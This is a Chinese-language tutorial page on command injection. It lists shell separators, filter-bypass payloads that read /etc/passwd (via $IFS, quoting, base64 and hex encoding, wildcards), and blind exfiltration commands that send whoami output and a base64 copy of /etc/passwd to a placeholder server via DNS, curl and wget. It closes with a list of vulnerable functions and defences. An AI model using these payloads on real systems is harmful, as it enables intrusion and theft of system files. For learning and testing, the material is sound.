跳转至

命令执行漏洞

当应用把用户输入直接拼接到系统命令中执行时,攻击者就能注入自己的命令。比如一个 ping 功能,输入 127.0.0.1; cat /etc/passwd,分号后面的命令也会被执行。


常见拼接符

不同的拼接符行为不同,实战中都要试一遍:

拼接符 含义 示例
; 顺序执行,不管前面成不成功 ping 127.0.0.1; whoami
\| 管道,前面的输出传给后面 ping 127.0.0.1 \| whoami
\|\| 前面失败才执行后面 ping xxx \|\| whoami
&& 前面成功才执行后面 ping 127.0.0.1 && whoami
`cmd` 反引号,内联执行 ping `whoami`
$(cmd) 命令替换,同反引号 ping $(whoami)
%0a 换行符(URL 编码) 127.0.0.1%0awhoami

绕过方式

空格被过滤

cat</etc/passwd          # 用 < 替代空格
cat${IFS}/etc/passwd     # $IFS 是内部字段分隔符,默认包含空格
{cat,/etc/passwd}        # 花括号展开
cat$IFS$9/etc/passwd     # $9 是空的位置参数

关键词被过滤

# 拼接绕过
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd

# 变量绕过
a=c;b=at;$a$b /etc/passwd

# Base64 编码绕过
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash

# 十六进制绕过
$(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')

# 通配符绕过
/bin/c?t /etc/passwd
/bin/ca* /etc/passwd

路径被过滤

# /etc/passwd 被过滤
cat /etc/pass?d
cat /etc/pass*
cat /etc$u/passwd        # $u 是空变量

回显被禁止(无回显/盲注)

没有回显时,用外带数据的方式判断:

# DNS 外带
ping `whoami`.your-dnslog.com

# HTTP 外带
curl http://your-server/?data=$(whoami)
wget http://your-server/$(cat /etc/passwd | base64)

# 延时判断
sleep 5                  # 响应延迟 5 秒说明命令执行了

常见漏洞函数

语言 危险函数
PHP system() exec() passthru() shell_exec() popen() `cmd`
Python os.system() os.popen() subprocess.call()
Java Runtime.getRuntime().exec()
Node.js child_process.exec()

防御方案

方案 说明
避免调用系统命令 能用语言内置函数实现的功能,不要调 shell
参数化传递 用数组方式传参,不拼接字符串
白名单校验 只允许预期的输入格式(比如 IP 只允许数字和点)
最小权限 Web 服务用低权限账户运行